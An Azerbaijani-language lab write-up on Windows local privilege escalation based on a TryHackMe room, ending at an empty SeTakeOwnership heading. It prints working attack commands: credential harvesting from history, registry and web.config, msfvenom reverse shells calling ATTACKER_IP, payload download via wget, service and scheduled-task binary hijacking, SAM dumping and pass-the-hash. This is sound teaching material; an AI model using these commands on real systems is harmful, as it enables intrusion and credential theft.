# Local Privilege Escalation

Səlahiyyətlərin yüksəldilməsi,  A istifadəçisinin hədəf sistemdəki zəifliklərdən sui-istifadə edərək B istifadəçisi kimi sistemə giriş əldə etməsindən ibarətdir. Burada B kimi qeyd etdiyim istifadəçi adətən inzibati hüquqlara malik olandır, lakin bəzi hallarda inzibati imtiyazlar əldə etmək üçün digər imtiyazsız hesablara keçməli olduğumuz vəziyyətlər olur.

### Windows İstifadəçiləri

| İstifadəçilər       | Səlahiyyətləri                                                                                                                                                                                   |
| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Administrator       | <p>Bu istifadəçilər ən yüksək səlahiyyətlərə malikdirlər. Administratorlar istənilən konfiqurasiya parametrini dəyişə, sistemdəki istənilən fayla daxil ola bilərlər.<br></p>                    |
| Standard İstifadəçi | Standart istifadəçilər sistemdə yalnız bəzi tapşırıqları yerinə yetirirlər. Bu istifadəçilər sistemdə daimi və ya mühüm dəyişikliklər edə bilməzlər və yalnız öz fayllarına giriş imkanları var. |

İnzibati səlahiyyətlərə malik olan istənilən istifadəçi Administrators qrupunun, standart istifadəçilər  isə Users qrupunun bir hissəsidir.

Əməliyyat sistemi tərəfindən yaradılan və istifadə edilən digər istifadəçilər:

| <p>SYSTEM / LocalSystem<br></p> | Daxili tapşırıqları yerinə yetirmək üçün əməliyyat sistemi tərəfindən istifadə edilən hesabdır. Sistemdə olan bütün fayl və resurslara tam giriş imkanına malikdir, Administratordan daha yüksək səlahiyyətlərə malik olduğunu deyə bilərik. |
| ------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p>Local Service<br></p>        | <p></p><p>Windows xidmətlərini "minimum" imtiyazlarla idarə etmək üçün istifadə olunan hesabdır. Şəbəkə üzərindən əlaqə üçün anonim bağlantılardan istifadə edir.<br></p>                                                                    |
| <p>Network Service<br></p>      | Windows xidmətlərini "minimum" imtiyazlarla idarə etmək üçün istifadə olunan hesabdır. Şəbəkə üzərindən qurulan əlaqələr üçün komputer etimadnamələrindən (credentials) istifadə edir.                                                       |

### Powershell Tarixçəsi

PowerShell'də PSReadline modulu əmrlərin redaktəsi və tarixçə funksionallığına cavabdehdir. Hər hansı bir əmr yerinə yetirildikdə, bu modul onları tarix (history) faylında saxlayır. İstifadəçi əvvəllər istifadəçi adı, parol kimi həssas məlumatlardan ibarət bir əmr icra edibsə, bu fayla baxmaq səlahiyyətlərin yüksəldilməs üçün yaxşı bir yoldur. Bu fayla baxmaq üçün aşağıdakı cmd əmrini icra edə bilərsiniz:

```sh
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

**`%userprofile%`** parametri istifadəçinin profil qovluğunu göstərmək üçün istifadə olunur.

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FUAywvnAj36Ghf8pU5CB0%2FScreenshot%20(504).png?alt=media&#x26;token=67449610-745c-4c89-8eee-7f343096ab8d" alt=""><figcaption></figcaption></figure>

Bu əmri Powershell'də icra etmək üçün:

```powershell
Get-content $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

Praktiki nümayiş üçün istifadə edəcəyim TryHackMe labına [buradan](https://tryhackme.com/room/windowsprivesc20) keçid edə bilərsiniz.

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FTtBqeGQo2851PzFSksgI%2FScreenshot%20(502).png?alt=media&#x26;token=46d478ba-bd10-4825-bc73-825914ae05bf" alt=""><figcaption><p>Əmrin cmd'də icrası</p></figcaption></figure>

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FevYui6P0i01ZDJrkKoee%2FScreenshot%20(505).png?alt=media&#x26;token=328cc989-ec41-4021-b67a-9fa6672c03b1" alt=""><figcaption><p>Powershell</p></figcaption></figure>

Bu nümunədə gördüyünüz kimi julia.jones istifadəçisinin parolu tarixçəyə baxaraq əldə edilə bilər.

### Sistemdə saxlanılan giriş məlumatları

Aşağıdakı əmrdən istifadə edərək, kompüterdə saxlanmış etimadnamələrin(credentials) siyahısını görə bilərik.

```sh
cmdkey /list
```

Bu əmr əsasən, hədəf,etimadnamənin növü və etimadnamənin davamlılığı kimi məlumatlar verir. Məsələn:

```sh
Currently stored credentials:

Target: Domain:target=server1
Type: Domain Password
User: username

```

Bu nəticə, 'server1' adlı server üçün istifadəçi adı və şifrənin saxlanıldığını göstərir.

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FuzCbAj6ByShxiRlqrbIX%2FScreenshot%20(506).png?alt=media&#x26;token=dd883fe4-52f5-4798-999b-87f7d9a6ba2e" alt=""><figcaption><p>cmdkey əmri ilə mike.katz istifadəçisini tapırıq</p></figcaption></figure>

İndi isə aşağıdakı əmrdən istifadə edərək mike.katz üçün shell əldə edə bilərik:

```sh
runas /savecred /user:<itifadəçi-adı> cmd.exe
```

runas:  Proqramı müxtəlif etimadnamələr ilə işə salmaq üçün istifadə olunan əmrdir.

/savecred: Bu parametr runas'a təqdim edilmiş etimadnamələri (istifadəçi adı və parol) saxlamağı əmr edir, bununl da istifadəçi hər dəfə əmri icra etdikdə onları yenidən daxil etmir.

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FgpT0DzkvoCOun91a5evr%2FScreenshot%20(507).png?alt=media&#x26;token=0744403c-8bea-435f-a38d-5099fad3d213" alt=""><figcaption></figcaption></figure>

### IIS Konfiqurasiyası

İnternet Məlumat Xidmətləri (IIS) Windows serverlərində vebsaytları, veb proqramları və xidmətləri yerləşdirmək üçün Microsoft tərəfindən hazırlanmış veb server proqramıdır.IIS'də veb-saytların konfiqurasiyası web.config adlı faylda saxlanılır və burada databaza üçün parollar da saxlanıla bilər.Bu fayl 'C:\inetpub\wwwroot\web.config' və ya başqa qovluqda yerləşir.

Bu fayldan parol kimi həssas məlumatları əldə etmmək üçün onun databaza ilə əlaqəli hissələrinə baxmalıyıq. Bunun üçün aşağıdakı əmrdən istifadə edərək, nəticəni məqsədimizə uyğun olraq filterləyə bilərik.

```sh
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
```

Bu əmr, C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config  qovluğunda yerləşən faylın 'connectionString' olan hissələrini ekrana yazdırır.

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FY86KbmiZng59VKxPPgym%2FScreenshot%20(508).png?alt=media&#x26;token=cb15fcec-928c-45f4-9116-84c738e53df5" alt=""><figcaption></figcaption></figure>

Nümunədə gördüyünüz kimi, db\_admin adlı istifadəçinin parolunu görmək mümkündür.

### PuTTY

PuTTY açıq mənbəli terminal emulyatoru, serial konsolu və fayl transferi proqramıdır. O, SSH (Secure Shell), Telnet, rlogin və raw soket bağlantıları daxil olmaqla bir neçə şəbəkə protokolunu dəstəkləyir. PuTTY uzaq serverlər və şəbəkə cihazları ilə təhlükəsiz əlaqə yaratmaq üçün Windows əməliyyat sistemlərində geniş istifadə olunur.

PuTTY istifadəçilərə SSH parollarını saxlamağa icazə verməsə də, plaintext parollarının da olduğu proxy konfiqurasiyalarını saxlayır. Bu saxlanılmış proxy konfiqurasiyalarını əldə etmək üçün aşağıdakı əmrdən istifadə edə bilərsiniz.

```sh
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
```

reg query:  Windows Registry'i sorğulamaq üçün istifadə edilən əmrdir.

HKEY\_CURRENT\_USER\Software\SimonTatham\PuTTY\Sessions:  PuTTY'nin sessiya konfiqurasiyalarını saxlandığı yoldur(path).

/f "Proksi": Axtarışın "Proksi" termini olan reyestr qeydləri üçün aparılmalı olduğunu göstərir.

/s : Bu seçim, axtarışın yalnız PuTTY Sessions reyestr açarını deyil, həm də onun altındakı bütün alt açarları (alt qovluqları) ehtiva etməsini təmin edir.

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FWVFNC9vgCS31dxKthqX1%2FScreenshot%20(509).png?alt=media&#x26;token=266f7d80-3f6b-4458-a7aa-4b84a1dde8be" alt=""><figcaption></figcaption></figure>

Nümunədə gördüyünüz kimi, yuxarıdakı əmrdən istifadə edərək thom.smith istifadəçisinin parolunu əldə etdim.

### Planlaşdırılmış Tapşırıqlar (Scheduled Tasks)

Planlaşdırılmış Tapşırıqlar, Windows əməliyyat sistemlərində istifadəçilərə hər hansı bir tapşırığın müəyyən fasilələrlə və ya xüsusi hadisələrə cavab olaraq icrasını avtomatlaşdırmağa imkan verən daxili funksiyadır. Bu tapşırıqları listələmək üçün aşağıdakı əmrdən istifadə edilə bilər:

```sh
schtasks
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2F9uyEK7DddP540AxH2n3G%2FScreenshot%20(519).png?alt=media&#x26;token=e7e93153-2d5f-409c-ae00-9d08da9a4211" alt=""><figcaption></figcaption></figure>

Daha məqsədə uyğun nəticə almaq üçün aşağıdakı əmrdən istifadə edə bilərsiniz:

```sh
schtasks /tn <task> /fo list
```

Bu əmr qeyd edilən taska aid məlumatları list formatında çıxaracaq.

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FJB2yNfbrFuoLruEbebGR%2FScreenshot%20(520).png?alt=media&#x26;token=89121dd5-ab1b-45ef-9e6e-0d683e399ac1" alt=""><figcaption></figcaption></figure>

Planlaşdırılan tapşırıqlar düzgün qurulmadıqda səlahiyyətlərin yüksəldilməsi üçün sui-istifadə edilə bilər.Əgər tapşırıq yüksək imtiyazlarla binary və ya skript idarə edirsə and həmin fayla gedən yol düzgün qorunmursa, hücumçu tərəf həmin faylın kontentini zərərli bir skriptlə dəyişə bilər(məsələn, reverse shell).

Tapşırıqda icra ediləcək faylın icazələrini görmək üçün 'icacls' alətindən istifadə edə bilərik:

```shell
# Fayl üçün Girişə Nəzarət Siyahılarını (ACL) göstərir
icacls filename.txt
# İstifadəçiyə oxumaq və icra etmək icazələri verir
icacls filename.txt /grant:r John:(RX)
# İstifadəçinin yazma icazəsini əlindən alır
icacls filename.txt /deny Jane:(W)
# İstifadəçini ACL'dən çıxarır
icacls filename.txt /remove:g Alice
```

Praktiki nümunə:

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FWNh7583lvDju3ugPpDwU%2FScreenshot%20(522).png?alt=media&#x26;token=79a5bd42-dd78-47f2-91fb-5769b23a71e9" alt=""><figcaption></figcaption></figure>

/v parametrindən istifadə edərək tapşırıq haqqında daha geniş məlumat alıram və bu  tapşırıq zamanı icra ediləcək faylı əldə edirəm.(C:\tasks\schtask.bat)

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FgGenmWuHyyfPnCEPxWzm%2FScreenshot%20(523).png?alt=media&#x26;token=b7799486-23e6-4fe4-a1b0-3c2f9fd32bac" alt=""><figcaption></figcaption></figure>

icacls vasitəsi ilə bu faylın icazələrinə baxıram, şəkildə də gördüyünüz kimi Users'in bu fayl üçün icazələri F (Full) kimi qeyd edilib.

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FJgEhEXtxNQZ4uCpq0J7Z%2FScreenshot%20(524).png?alt=media&#x26;token=924def94-3654-48d5-a1eb-242543992bf3" alt=""><figcaption></figcaption></figure>

Fayla yazmaq icazəmiz olduğu üçün onun kontentini reverse shell faylı ilə dəyişirəm.(Bu fayl labda bizə C:\tools\nc64.exe kimi verilir)

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FFYUfi79VAQ288pDa5DtP%2FScreenshot%20(525).png?alt=media&#x26;token=12e2ab30-5862-4eb8-adb5-64a16455a89b" alt=""><figcaption><p>netcat ilə arxada reverse shell üçün dinləyirəm</p></figcaption></figure>

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FkjkJJK6fiFyRNsZdYy9q%2FScreenshot%20(526).png?alt=media&#x26;token=7646cd22-c18a-466c-b5d7-d8e57e530f13" alt=""><figcaption></figcaption></figure>

Real nümunələrdə adətən faylı icra etmək icazəmiz olmur, amma bu nümunədə aşağıdakı əmrdən istifadə edərək icra etmək mümkündür:

```sh
schtasks /run /tn vulntask
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FZ6aACPfuw8Z3KqoOo4Q6%2FScreenshot%20(528).png?alt=media&#x26;token=8831bf70-fa25-4f0b-aaa9-2a5d6c731897" alt=""><figcaption></figcaption></figure>

Və əlaqə qurulur!

### MSI

Windows installer faylları (.msi faylları ) sistemdə proqramları quraşdırmaq üçün istifadə olunur. Bufayllar, onu başladan istifadəçinin imtiyaz səviyyəsi ilə işləsə də daha yüksək səlahiyyətlərlə işləmək üçün konfiqurasiya edilə bilər. Bu, bizə admin səlahiyyəti ilə işləyən zərərli MSI faylı yaratmağa və icra etməyə imkan verir.

Bu metod ilə səlahiyyət yüksəldilməsi prosesini icra edə bilmək üçün iki reyestr (registry) dəyəri təyin edilməlidir (HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer və HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer)

Bu reyestrləri sorğuıamaq üçün:

```sh
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
```

Hər iki reyestr təyin edilibsə, reverse shell faylı hazırlayaraq sistemdə icra edə bilərik:

```sh
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<hücum-edənin-ip-ünvanı> LPORT=<əlaqə-qurulacaq-port> -f msi -o yusif.msi
```

Bu faylı hədəf sistemə yüklədikdən sonra netcat və ya Metasploit Handler ilə əlaqə üçün dinləyirik və onu icra edirik:

```sh
msiexec /quiet /qn /i C:\Windows\Temp\yusif.msi
```

/quiet /qn : Bu parametrlər Windows Installer'ə səssiz quraşdırma yerinə yetirməyi tapşırır, yəni quraşdırma prosesi heç bir istifadəçi interfeysi və ya göstərişlər göstərilmədən baş verir. Həm /quiet, həm də /qn eyni məqsədə xidmət edir.

/i : bu parametr quraşdırma əməliyyatının yerinə yetirilməli olduğunu göstərir.

### İcra edilə bilən servislərdə icazələr düzgün təyin edilmədikdə

Windows xidmətləri Xidmət İdarəetmə Meneceri (SCM) tərfindən idarı edilir.Xidmətlər, arxa planda işləyən və əməliyyat sisteminin funksionallığını təmin edən proqramlardır. Windows'da hər bir xidmət icraedici sənədə(executable) sahib olur ki, bu, xidmət işə başladığı zaman SCM tərəfindən işə salınır.

Xidmətlər haqqında məlumat almaq üçün 'sc' (service control) alətindən istifadə edilə bilər. Bu alət, SCM ilə əlaqə qurur və bizə məlumat qaytarır. Xüsusi bir servis haqqında məlumat üçün 'query' və ya 'qc' parametrindən istifadə olunur.

```sh
sc query wuauserv
sc qc wuauserv
```

Xidməti başlatmaq üçün:

```sh
sc start wuauserv
```

Dayandırmaq üçün:

```sh
sc stop wuauserv
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FeXgbTZ1VwegzAJSydoN6%2FScreenshot%20(529).png?alt=media&#x26;token=9d33474b-2baa-414e-86f8-3ee7cb36090c" alt=""><figcaption></figcaption></figure>

Xidmətlə əlaqəli icra olunan fayl üçün icazələr düzgün təyin edilməzsə, hücumçu onu dəyişdirə və digər istifadəçilərin hesabına giriş əldə edə bilər. Bu metodu [bu TryHackMe labı](https://tryhackme.com/room/windowsprivesc20) ilə praktiki göstərək:

```sh
sc qc WindowsScheduler
```

Bu əmrdən istifadə edərək WindowsScheduler xidmətini sorğulayırıq və bu nəticəni əldə edirik:

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FK5aw96a9Vg2ZxND4bgme%2FScreenshot%20(531).png?alt=media&#x26;token=af5670a4-777b-43b2-8f66-3101bad45e97" alt=""><figcaption></figcaption></figure>

Burada BINARY\_PATH\_NAME:C:\PROGRA~~2\SYSTEM~~1\WService.exe WindowsScheduler xidməti ilə əlaqəli olaraq icra edilən faylı gostərir. icacls alətindən istifadə edərək bu fayla yazma icazəmizin olub-olmadığını görə bilərik.

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FKIWaywPrzIZG9NVYsCwz%2FScreenshot%20(533).png?alt=media&#x26;token=20ecbb0a-59fa-4d85-ba4c-657051dd4931" alt=""><figcaption></figcaption></figure>

Everyone:(I)(M) o deməkdir ki, hər kəsin bu faylı dəyişdirmək icazəsi var. İndi msfvenom'dan  istifadə edərək bir reverse shell hazırlayıb bu faylı dəyişdirə bilərik.

```sh
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe-service -o yusif.exe
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FuDX3D1htYoXy4gBG7oKm%2FScreenshot%20(534).png?alt=media&#x26;token=d362c54c-a19c-4ee8-ad6b-0ee4c0daa5de" alt=""><figcaption></figcaption></figure>

Bu faylı Windows'a yükləmək üçün ubuntuda bir http veb-serve başladıram və wget əmri ilə onu sistemə yükləyirəm:

```sh
python3 -m http.server
```

```powershell
wget http://ATTACKER_IP:8000/yusif.exe -O yusif.exe
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FqNDkvynkd48axk2gz11y%2FScreenshot%20(536).png?alt=media&#x26;token=a8ef9b9e-20ac-43d1-a1a8-1c072011579c" alt=""><figcaption></figcaption></figure>

İndi isə aşağıdakı addımlarla faylı dəyişdirirəm:

```shell
# Faylın yerləşdiyi qovluğa keçirəm
cd C:\PROGRA~2\SYSTEM~1\

# Orijinal WService.exe faylını backup faylına köçürürəm
move WService.exe WService.exe.bkp

# Orijinal WService.exe faylını yusif.exe adlı yeni fayl ilə əvəz edirəm.
move C:\Users\thm-unpriv\yusif.exe WService.exe

# Dəyişdirilmiş WService.exe faylı üçün hər kəsə tam giriş imkanı verirəm
icacls WService.exe /grant Everyone:F
```

Artıq netcat alətindən istifadə edrək arxada əlaqə üçün dinləyirəm:

```sh
nc -lvnp 4444
```

sc ilə xidməti dayandırıb, yenidən başladıram:

```
sc stop windowsscheduler
sc start windowsscheduler
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FJhKxivvZZtFoa6ClZEug%2FScreenshot%20(537).png?alt=media&#x26;token=1e3c5496-38eb-4ff4-8b37-990343c5a1da" alt=""><figcaption></figcaption></figure>

Və əlaqə qurulur! Indi svcusr1 kimi sistemə daxil olub, tələb olunan flag.txt faylını oxuya bilərik.

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FZQejKl8zxNs3LMEL8QcC%2FScreenshot%20(538).png?alt=media&#x26;token=147a3a64-6a22-4396-aba2-93bba23fad28" alt=""><figcaption></figcaption></figure>

### Təhlükəli Xidmət İcazələri

DACL, “Discretionary Access Control List”in qısaltmasıdır.DACL, hər bir istifadəçi və ya istifadəçi qrupu üçün müəyyən edilmiş giriş icazələrini ehtiva edir. Bu icazələr istifadəçilərə müəyyən əməliyyatlar həyata keçirmək və ya obyektə daxil olmaq hüququ verir. Məsələn, faylın DACL'də hər hansı bir istifadəçiyə "Oxu və Yaz" icazəsi, digər istifadəçiyə isə yalnız "Oxu" icazəsi verilə bilər. Xidmətlər üçün bu listi əldə etmək üçün Accesschk istifadı edilə bilər. Onu  [bu keçiddən](https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk) istifadə edərək yükləyə bilərsiniz.

İstifadəsi:

```sh
accesschk64.exe -qlc <xidmətin-adı>
```

-q: Sakit rejimi təyin edir

-l : Obyektləri və onların xassələrini listələyir

&#x20;-c : Yoxlanılacaq obyektin xidmət olduğunu göstərir

Əgər istifadəçinin xidməti konfiqurasiya edə bilmək kimi icazəsi varsa, servisin executable( icra oluna bilən) faylını reverse shell ilə dəyişə bilərik. Aşağıdakı nümunədə bu metoddan istifadə olunur:

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FpPecpUKMsKMVmyzDOGQY%2FScreenshot%20(539).png?alt=media&#x26;token=dde52e61-5c8d-4d60-ae93-ddd6a9b81d94" alt=""><figcaption></figcaption></figure>

Accesschk ilə servisin icazələrini yoxladıqda BUILTIN\Users'in SERVICE\_ALL\_ACCESS icazəsi olduğunu görürəm.Bu o deməkdir ki, servisi konfiqurasiya edə bilərik.

İndi msfvenom'dan istifadə edərək öz reverse shell'mi qura və onu hədəf sistemə yükləyərək əlaqə üçün dinləməyə başlaya bilərəm.

Aşağıdakı əmrdən istifadə edərək bu fayla 'hər kəs icra edə bilər' icazəsini verirəm:

```sh
icacls C:\Users\thm-unpriv\yusif.exe /grant Everyone:F
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FzQargRRtdFh1irOSUoIp%2FScreenshot%20(540).png?alt=media&#x26;token=c1f16dd3-9907-456c-9bec-ee01cb50ea07" alt=""><figcaption></figcaption></figure>

Növbəti olaraq, bu əmri cra edərək "THMService" xidmətinin executable faylını yusif.exe olaraq təyin edirəm.

```sh
sc config THMService binPath= "C:\Users\thm-unpriv\yusif.exe" obj= LocalSystem
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2F6cX32fHSdlfeAODiVL9t%2FScreenshot%20(541).png?alt=media&#x26;token=f95e2cec-06f7-4557-a843-2f2a626361f9" alt=""><figcaption></figcaption></figure>

Əlaqənin qurulması üçün xidməti başladıram:

```
sc start THMService
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FchtcsoDrfsmyyVWA89b9%2FScreenshot%20(542).png?alt=media&#x26;token=fa74c03c-462b-4f25-9cfa-0d1f4993d8cd" alt=""><figcaption></figcaption></figure>

Və shell'i əldə edirəm!

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2Fz34nWdWfes0ZkyxCd7EW%2FScreenshot%20(543).png?alt=media&#x26;token=864b6406-a364-464c-8db2-2ad355d30865" alt=""><figcaption></figcaption></figure>

### Windows Səlahiyyətləri

Səlahiyyətlər, hesabın sistemlə bağlı xüsusi tapşırıqları yerinə yetirmək üçün malik olduğu hüquqlardır. Windows'da hər bir istifadəçinin səlahiyyətləri aşağıdakı əmr ilə yoxlana bilər:

```sh
whoami /priv
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FghcN05vWWc17iL1kvZRa%2FScreenshot%20(544).png?alt=media&#x26;token=513755b4-fb90-476d-b446-57d3767ded25" alt=""><figcaption></figcaption></figure>

Bu nümunədə aşağıdakı səlahiyyətləri görürük:

SeShutdownPrivilege :  İstifadəçiyə sistemi bağlamaq imkanı verir. Vəziyyəti: Disabled - Bu, imtiyazın hazırda qeyri-aktiv olduğunu bildirir. Bu imtiyazı olmayan istifadəçilər sistemi bağlaya bilmir.&#x20;

SeChangeNotifyPrivilege :  Serverə və ya workspace'ə traverse yoxlamasını bypass etməyə imkan verir. Traverse yoxlanışı, istifadəçinin açıq icazələri olmasa belə, bir fayl və ya qovluğa daxil olub-olmamasını müəyyən edən təhlükəsizlik tədbiridir. Vəziyyət: Enabled - Bu imtiyaz hazırda aktivdir, yəni sistem travers yoxlamasını bypass edə bilər.&#x20;

SeUndock Privilege : İstifadəçiyə kompüteri dok stansiyasından çıxarmağa imkan verir. Vəziyyət: Disabled - Bu imtiyaz hazırda deaktivdir. Bu imtiyazı olmayan istifadəçilər kompüteri dok stansiyasından çıxara bilmir.&#x20;

SeIncreaseWorkingSetPrivilege : Prosesin RAM-da istifadə edə biləcəyi fiziki yaddaşın miqdarı olan iş dəstinin ölçüsünü artırmağa imkan verir. Vəziyyət: Disabled - Bu imtiyaz hazırda deaktivdir. Bu imtiyaz olmadan işləyən proseslər öz iş dəstini dinamik şəkildə artıra bilməyəcək.&#x20;

SeTimeZone Privilege : İstifadəçiyə sistemin saat qurşağını dəyişməyə imkan verir. Dövlət: Disabled - Bu imtiyaz hazırda deaktivdir. Bu imtiyazı olmayan istifadəçilər sistemin saat qurşağını dəyişə bilmir.

### SeBackup / SeRestore

SeBackup və SeRestore səlahiyyətləri istifadəçilərə hər hansı DACL'ə məhəl qoymadan sistemdəki istənilən faylı oxumağa və yazmağa imkan verir. Bu imtiyazın arxasında duran ideya müəyyən istifadəçilərə tam inzibati imtiyazlar tələb etmədən sistemdən ehtiyat nüsxələri çıxarmağa icazə verməkdir.

Aşağıdakı nümunədə bu səlahiyyətdən istifadə edərək hücum həyata keçirəcəyik:

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FuKrXg4BnQgQiUEnyICkH%2FScreenshot%20(545).png?alt=media&#x26;token=cbb71fd7-51f9-447e-975f-764aa876f22d" alt=""><figcaption></figcaption></figure>

SAM and SYSTEM hash'lərini backup etmək üçün aşağıdakı əmrlərdən istifadə edə bilərik:

```sh
reg save hklm\system C:\Users\<backup-folder-name>\system.hive
reg save hklm\sam C:\Users\<backup-folder-name>\sam.hive
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FsDe5Vu6BI5lg1cHJ30yq%2FScreenshot%20(547).png?alt=media&#x26;token=d0645d86-9087-4a91-94f6-264f618efd70" alt=""><figcaption></figcaption></figure>

Bu  faylları öz maşınımıza göndərdikdən sonra etimadnamələri çəkmək üçün Impacket alət dəstindən secretsdump.py skriptindən istifadə edə bilərik:

```sh
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
```

python3.9 : Bu istifadə ediləcək Python interpreterin versiyasını təyin edir.&#x20;

/opt/impacket/examples/secretsdump.py:  secretsdump.py skriptinə gedən yoldur.&#x20;

-sam sam.hive: SAM hive faylının yoludur&#x20;

&#x20;-system system.hive:  SYSTEM faylına gedən yoldur

LOCAL : Bu hədəf sistem və ya domendir. Bu halda, local maşından etimadnamələrin dump edildiyini göstərir.

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FQ0QEesKjufpJEFj57vBt%2FScreenshot%20(550).png?alt=media&#x26;token=3b979a97-f3e7-4fcf-8f02-d8dee8baf6a4" alt=""><figcaption></figcaption></figure>

İndi, Windows maşınından administrator kimi shell əldə etmək üçün Pass-the-Hash hücumu həyata keçirəcəyik. Bunun üçün Impacket alətlər dəstindəki psexec.py skriptindən istifadə edirik:

```sh
python3.9 /opt/impacket/examples/psexec.py -hashes <hash-dəyəri> administrator@<maşının-ip-ünvanı>
```

<figure><img src="https://1282126-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHhCaGus6kJ6VjseWoSw8%2Fuploads%2FuXA5IQxKSNmuLkTNyfCT%2FScreenshot%20(551).png?alt=media&#x26;token=6023b0e3-cc26-42ed-8860-65a4b633ee6f" alt=""><figcaption></figcaption></figure>

Və shell'i əldə edirik!

### SeTakeOwnership Səlahiyyəti

